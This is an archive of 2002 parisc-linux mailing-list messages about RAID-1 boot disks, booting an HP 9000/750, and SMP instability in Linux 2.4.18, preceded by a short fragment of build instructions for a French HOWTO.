cvs co howto[fr]
cd howto[fr]
make [ps|pdf|one|html|version|clean]

ps: for ps output
pdf: for pdf output
one: for one-html-file output
html: for multi-html-file output in html directory
version: gives you the version of docbook and sgmltools
clean: guess :)

Here, it works with:
ii  docbook        4.1.99
ii  docbook-book   2.0.2-1
ii  docbook-doc    30d10-7
hi  docbook-dsssl  1.76-1
ii  docbook-dsssl- 1.75-1
ii  docbook-to-man 2.0.0-10
ii  docbook-utils  0.6.10-1
ii  docbook-xml    4.1.99
ii  psgml          1.2.4-9
ii  sgml-base      1.14
ii  sgml-data      1.5.5
ii  sgmltools-lite 3.0.3.0.cvs.20

Thanks for your feedback, Thomas.




From - Thu Nov 08 21:22:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] raid-1 on boot disk
Date: Sat, 25 May 2002 19:33:22 +0000
Lines: 53
Approved: news@gmane.org
Message-ID: <3CEFE702.7060503@freebel.net>
References: <Pine.LNX.4.44.0205241504430.19280-100000@r6.petescaff.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621313 7518 80.91.229.3 (22 Nov 2014 01:55:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:13 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Peter Mottram <peter@petescaff.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 25 13:33:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolm1.tiscalinet.be (spoolm1.tiscalinet.be [212.35.2.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0A107482E
	for <parisc-linux@lists.parisc-linux.org>; Sat, 25 May 2002 13:33:05 -0600 (MDT)
Original-Received: from [62.235.44.8] (helo=freebel.net)
	by spoolm1.tiscalinet.be with esmtp (Tiscalinet) 
	id 17BhHg-0005UP-00; Sat, 25 May 2002 21:33:00 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0rc2) Gecko/20020520 Debian/1.0rc2-3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14834

Hi Peter,


Peter Mottram wrote:
> Joel
> 
> I did some playing with this some time ago. To have all filesystems under
> md control then palo must understand two things:
> 
> 1. how to read the md filesystem to get the kernel (can use the F0
> partition for kernel to get round this)

I undurstand F0 is a special slice that PDC has to access to load ipl

> 
> 2. how to use md / filesystem
> 

Is a ramdisk (located in the special slice /boot) would not help?
I thought to this because of my read on the use of lvm and evms 
structure system disk. Both write a script to build such ramdisk.

> AFAIK these 2 things just don't work right now & Paul Bame has other more
> important things to do with palo right now.
> 
> The approach I take is to have a small / and small /boot as normal ext2
> partitions & automatically copy these over to spare / & /boot filesystems
> on mirror + hot spare disk each night.

Well ramdisk will avoid to have to do this 'manual' mirror on F0 and 
/boot but there are quasi-static and so easy to mirror with dd. On the 
contrary / is more dynamic so I do not see how do you realise the mirror 
  of this fs?

> All other filesystems (including
> swap) are on md. If I update the primary boot disk's F0 then I also
> update the F0 slice on mirror & spare disks. If the primary boot disk
> fails then the system will go down but then can boot off the mirror. Make
> sure you set up PRI and ALT boot paths correctly if you want this to
> happen automagically & make usre the script which copies / onto the
> mirror/spare modifies /etc/fstab appropriately!
> 
> R.
> PeteM

I am now much more confident, I will try to have a look in more details.

Many thanks for all information,
	Joel





From - Thu Nov 08 21:22:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stacy Olivas <olivas@eurisko.ws>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Getting a 750 to boot
Date: Sat, 25 May 2002 12:54:23 -0700 (PDT)
Lines: 31
Approved: news@gmane.org
Message-ID: <20020525195423.BE4A636F9@sitemail.everyone.net>
Reply-To: olivas@eurisko.ws
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621313 7519 80.91.229.3 (22 Nov 2014 01:55:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:13 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 25 13:54:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from omta05.mta.everyone.net (sitemail3.everyone.net [216.200.145.37])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9759D4832
	for <parisc-linux@lists.parisc-linux.org>; Sat, 25 May 2002 13:54:24 -0600 (MDT)
Original-Received: from sitemail.everyone.net (dsnat [216.200.145.62])
	by omta05.mta.everyone.net (Postfix) with ESMTP id D04E147EB5
	for <parisc-linux@lists.parisc-linux.org>; Sat, 25 May 2002 12:54:23 -0700 (PDT)
Original-Received: by sitemail.everyone.net (Postfix, from userid 99)
	id BE4A636F9; Sat, 25 May 2002 12:54:23 -0700 (PDT)
Content-Disposition: inline
X-Mailer: MIME-tools 5.41 (Entity 5.404)
X-Originating-Ip: [213.96.162.21]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14835

Hello,
I recently acquired an Apollo 9000/750 system and would like to load up PALINUX on it.  Unfortunately, I do not have anything other than the system (with a serial console).  No documentation, etc.

When I boot the system up it has the following:

(c) Copyright.  Hewlett-Packard Company.  1991.
All rights reserved

PDC ROM rev. 1.2
IODC ROM rev. 1.0
128 MB of memory configured and tested.


Selecting a system to boot.

Hard booted.

ISL Revision A.00.38 OCT 26, 1994

ISL booting  hpux
Exec failed: Cannot find /stand/vmunix or /vmunix.

ISL> 

I've attempted to hookup a SCSI cd-rom drive to the system, and it briefly looks at it before going to the screen above.

How can I get this beast to boot?  It has 2 HD's in it and a tape backup/floppy unit on it as well.  It also has a network card in it, (a TPT 92 series 802.3 10BASE-T Transciever with Lanview hooked into the AUI port on the back).

Any help will be greatly appreciated.



From - Thu Nov 08 21:22:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Getting a 750 to boot
Date: Sat, 25 May 2002 21:05:21 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <20020525210521.C10366@parcelfarce.linux.theplanet.co.uk>
References: <20020525195423.BE4A636F9@sitemail.everyone.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621314 7524 80.91.229.3 (22 Nov 2014 01:55:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stacy Olivas <olivas@eurisko.ws>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 25 14:05:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E14344831
	for <parisc-linux@lists.parisc-linux.org>; Sat, 25 May 2002 14:05:27 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17Bhmz-0002b5-00; Sat, 25 May 2002 21:05:21 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020525195423.BE4A636F9@sitemail.everyone.net>; from olivas@eurisko.ws on Sat, May 25, 2002 at 12:54:23PM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14836

On Sat, May 25, 2002 at 12:54:23PM -0700, Stacy Olivas wrote:
> When I boot the system up it has the following:
> 
> (c) Copyright.  Hewlett-Packard Company.  1991.
> All rights reserved
> 
> PDC ROM rev. 1.2
> IODC ROM rev. 1.0
> 128 MB of memory configured and tested.
> 
> 
> Selecting a system to boot.
> 
> Hard booted.
> 
> ISL Revision A.00.38 OCT 26, 1994
> 
> ISL booting  hpux
> Exec failed: Cannot find /stand/vmunix or /vmunix.
> 
> ISL> 
> 
> 
> How can I get this beast to boot?  It has 2 HD's in it and a tape
> backup/floppy unit on it as well.  It also has a network card in it,
> (a TPT 92 series 802.3 10BASE-T Transciever with Lanview hooked into
> the AUI port on the back).

Probably easiest to netboot it.  When it says `Selecting a system to
boot', press the escape key.  You can then `sea' to find bootable devices.
Note that the 750 is old enough that it uses the rboot protocol rather
than bootp.  Of course, you can try a CD-ROM at this point too.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@goquest.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Getting a 750 to boot
Date: Sat, 25 May 2002 18:10:24 -0500
Lines: 54
Approved: news@gmane.org
Message-ID: <02052518102400.00752@localhost.localdomain>
References: <20020525195423.BE4A636F9@sitemail.everyone.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621314 7528 80.91.229.3 (22 Nov 2014 01:55:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:14 +0000 (UTC)
To: Stacy Olivas <olivas@eurisko.ws>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 25 17:11:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.goquest.com (mail.goquest.com [63.172.73.8])
	by dsl2.external.hp.com (Postfix) with SMTP id B55274830
	for <parisc-linux@lists.parisc-linux.org>; Sat, 25 May 2002 17:11:14 -0600 (MDT)
Original-Received: (qmail 24324 invoked from network); 25 May 2002 23:09:53 -0000
Original-Received: from unknown (HELO localhost.localdomain) (65.162.253.36)
  by mail.goquest.com with SMTP; 25 May 2002 23:09:53 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <20020525195423.BE4A636F9@sitemail.everyone.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14837

Hi folks,
I also have an old box and no network available.
What I have done in the past...
Taking a tip from the very, very old days of pa-risc...
was use a 100mb, external, scsi interface, removable media disk drive...
(Some of us network poor folks also don't have CD burners)
Plug it into i386 box, copy <whatever> to it, plug it into back of hppa box...

Mike


On Saturday 25 May 2002 02:54 pm, Stacy Olivas wrote:
> Hello,
> I recently acquired an Apollo 9000/750 system and would like to load up
> PALINUX on it.  Unfortunately, I do not have anything other than the system
> (with a serial console).  No documentation, etc.
>
> When I boot the system up it has the following:
>
> (c) Copyright.  Hewlett-Packard Company.  1991.
> All rights reserved
>
> PDC ROM rev. 1.2
> IODC ROM rev. 1.0
> 128 MB of memory configured and tested.
>
>
> Selecting a system to boot.
>
> Hard booted.
>
> ISL Revision A.00.38 OCT 26, 1994
>
> ISL booting  hpux
> Exec failed: Cannot find /stand/vmunix or /vmunix.
>
> ISL>
>
> I've attempted to hookup a SCSI cd-rom drive to the system, and it briefly
> looks at it before going to the screen above.
>
> How can I get this beast to boot?  It has 2 HD's in it and a tape
> backup/floppy unit on it as well.  It also has a network card in it, (a TPT
> 92 series 802.3 10BASE-T Transciever with Lanview hooked into the AUI port
> on the back).
>
> Any help will be greatly appreciated.
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:22:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Robert Stanford <rob@rotapile.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.18 SMP instability
Date: 26 May 2002 10:48:56 +1000
Lines: 35
Approved: news@gmane.org
Message-ID: <1022374136.14232.89.camel@rotapile>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621314 7531 80.91.229.3 (22 Nov 2014 01:55:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:14 +0000 (UTC)
To: HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 25 18:49:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rotapile (CPE-203-45-167-61.qld.bigpond.net.au [203.45.167.61])
	by dsl2.external.hp.com (Postfix) with ESMTP id E81934833
	for <parisc-linux@lists.parisc-linux.org>; Sat, 25 May 2002 18:49:00 -0600 (MDT)
Original-Received: from rob by rotapile with local (Exim 3.22 #1 (Red Hat Linux))
	id 17BmDQ-0003jI-00
	for <parisc-linux@lists.parisc-linux.org>; Sun, 26 May 2002 10:48:56 +1000
X-Mailer: Ximian Evolution 1.0.3 (1.0.3-4) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14838

Regarding the below post, have the SMP issues been worked out on 2.4.18
yet? Im running 2.4.18-25 and the machine seems to lock whenever I try
to use apt with an smp kernel.

apt-get(3766): unaligned access to 0x403ce094 at ip=0x4005e47f     

Although I was doing some benchmarking and was able to make -j 3 vmlinux
using a 2.4.18-25 SMP kernel with no problems.


Robert Stanford


*cut*
--------------------------------------------------------------------
From: Matthew Wilcox (willy@debian.org)
Date: Thu Apr 11 2002 - 14:40:12 MDT

On Thu, Apr 11, 2002 at 03:16:25PM -0400, D'Ausilio, John wrote:
> Is the 2.4.18 which comes down from the archive as recent as the ones
in the
> FTP server? I'm going to boot back into the original kernel and try
getting
> the latest from the FTP server .. if that dosn't work I guess I'll get
the
> sources and build from CVS. Any other hints/clues/suggestions? Should
I just
> run single proc for now?

Yes, we've also found 2.4.18 to be unstable SMP. I believe Grant has a
handle on this problem now, so expect it to be fixed quite soon.
-------------------------------------------------------------------------




From - Thu Nov 08 21:22:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.18 SMP instability
Date: Sun, 26 May 2002 00:09:47 -0600
Lines: 44
Approved: news@gmane.org
Message-ID: <20020526060948.0676E4834@dsl2.external.hp.com>
References: <1022374136.14232.89.camel@rotapile>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621315 7533 80.91.229.3 (22 Nov 2014 01:55:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Robert Stanford <rob@rotapile.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May 26 00:09:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 0676E4834; Sun, 26 May 2002 00:09:47 -0600 (MDT)
In-Reply-To: Message from Robert Stanford <rob@rotapile.com> 
   of "26 May 2002 10:48:56 +1000." <1022374136.14232.89.camel@rotapile> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14839

Robert Stanford wrote:
> Regarding the below post, have the SMP issues been worked out on 2.4.18
> yet? Im running 2.4.18-25 and the machine seems to lock whenever I try
> to use apt with an smp kernel.

uhm...I see that I'm using UP kernels on my boxes right now.
I'll rebuild SMP and retest.

I did just find an SMP problem in the current EIEM handling.
Can't say if this is really causing any problems right now though.
Stop reading now if you don't know about (or don't want to) EIEM.

If enable_irq or disable_irq gets called from a CPU other than
the one the device driver is supposed to interrupt, it will set the
EIEM bit in only *that* (the wrong) CPU. The result is the interrupt
will remain masked on the target CPU. I think the solution
is to use a global "eiem_val" (set/clear bits here) to match
the global EIRR switch table.  I've thought about moving to a
per-CPU EIEM/EIRR switch table. But that's more work than I
have time for right now and would have a similar problem.
For now, we just need to update EIEM on all CPUs whenever the
eiem_val global changes.

We do NOT currently distribute interrupts.
I did write a patch to distribute IO interrupts:
	ftp://ftp.parisc-linux.org/patches/irq_distr.diff

This diff can't be applied until the EIEM issue is fixed.

I suspect we don't (usually) have a problem with EIEM since all
interrupts are going to CPU 0 (aka Monarch) and nearly all driver
initialization takes place before the system is multithreaded.
The only other possibility is processes are only running on CPU 0.
ie when loading a device driver later, it always gets initialized on the
monarch. This scenario would also match the "top" output where
a 2-way system is always 50% idle and a 4-way is 75% idle.

I'd like to learn some way of seeing which CPU is running which
processes. top doesn't seem to indicate that. I'll look at sysstat
package later.

grant



From - Thu Nov 08 21:22:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.18 SMP instability
Date: Sun, 26 May 2002 00:29:22 -0700 (PDT)
Lines: 39
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0205260013010.1491-100000@garibaldi.apptechsys.com>
References: <20020526060948.0676E4834@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621315 7535 80.91.229.3 (22 Nov 2014 01:55:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:15 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May 26 01:29:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id D34C84835
	for <parisc-linux@lists.parisc-linux.org>; Sun, 26 May 2002 01:29:23 -0600 (MDT)
Original-Received: from garibaldi.apptechsys.com (ats164.apptechsys.com [207.14.35.164])
	by mail.apptechsys.com (Postfix) with ESMTP id 466E87BC46
	for <parisc-linux@lists.parisc-linux.org>; Sun, 26 May 2002 00:29:22 -0700 (PDT)
In-Reply-To: <20020526060948.0676E4834@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14840

On Sun, 26 May 2002, Grant Grundler wrote:

> Robert Stanford wrote:
> > Regarding the below post, have the SMP issues been worked out on 2.4.18
> > yet? Im running 2.4.18-25 and the machine seems to lock whenever I try
> > to use apt with an smp kernel.
In my playing w/ a J5000, the SMP kernel locks up when loading samba.  
With samba disabled, the box boots, but eventually crashes for some 
mysterious reason (I never tracked it down, just said "oh well" and went 
back to UP).  

...
> The only other possibility is processes are only running on CPU 0.
> ie when loading a device driver later, it always gets initialized on the
> monarch. This scenario would also match the "top" output where
> a 2-way system is always 50% idle and a 4-way is 75% idle.
> 
> I'd like to learn some way of seeing which CPU is running which
> processes. top doesn't seem to indicate that. I'll look at sysstat
> package later.
I tried all sorts of things to try to find out what CPU stuff's on.  Top 
is no help, /proc/stat shows all but a tiny amount of time on CPU1 (?), 
and /proc/(pid)/cpu tends to agree.  It's been a little while since I 
tried SMP, and looked at this stuff.  I forget exactly what 
/proc/(pid)/cpu said.  I havent booted an SMP kernel for about a week.  
Probably should do a cvs update and rebuild, see what happens.  If samba 
crashes that thing again, I think I'll scream :)  I just went back to the 
logs to see if anything useful was there.  There wasn't.  Just standard 
boot stuff, then it stops for about a day (I tend to screw with the box 
by remote on off-hours), then starts again.  I'll try again w/ latest 
kernel and report what happens.

-- 
Kaufman's First Law of Party Physics:
	Population density is inversely proportional
	to the square of the distance from the keg.




From - Thu Nov 08 21:22:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New testing ISO available with recent boot-floppies
Date: Sun, 26 May 2002 12:59:15 +0200
Organization: ESIEE
Lines: 36
Approved: news@gmane.org
Message-ID: <20020526125915.3f7af47e.varenet@esiee.fr>
References: <001b01c20382$918a0a90$022a17ac@simplex>
	<02993B31-6F77-11D6-9D55-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621315 7538 80.91.229.3 (22 Nov 2014 01:55:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:15 +0000 (UTC)
Cc: duraid@fl.net.au, grundler@dsl2.external.hp.com,
	t.simonnet@esiee.fr
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May 26 04:59:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (d072.dhcp212-198-140.noos.fr [212.198.140.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 64E444836
	for <parisc-linux@lists.parisc-linux.org>; Sun, 26 May 2002 04:59:28 -0600 (MDT)
Original-Received: from TaiNana.r3z0 (varenet@TaiNana.r3z0 [192.168.69.3])
	by mail.zigoo.net (8.12.1/8.12.1) with SMTP id g4QAxGYD005338;
	Sun, 26 May 2002 12:59:18 +0200
In-Reply-To: <02993B31-6F77-11D6-9D55-0030656F07A2@esiee.fr>
X-Mailer: Sylpheed version 0.7.5 (GTK+ 1.2.10; powerpc-unknown-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14841

On Sat, 25 May 2002 02:33:18 +0200
"Thibaut VARENE" <varenet@esiee.fr> wrote:

> 
> Le samedi 25 mai 2002,  02:24 , Duraid Madina a crit :
> 
> > Does this new ISO include Grant's patch from yesterday, allowing booting
> > on PA-8700 machines?
> >
> > If so, I will be sure to test it out!
> >
> > 	Duraid
> >
> >
> Well, Grant told me that his patch is not comitted yet, and not ready to 
> be.
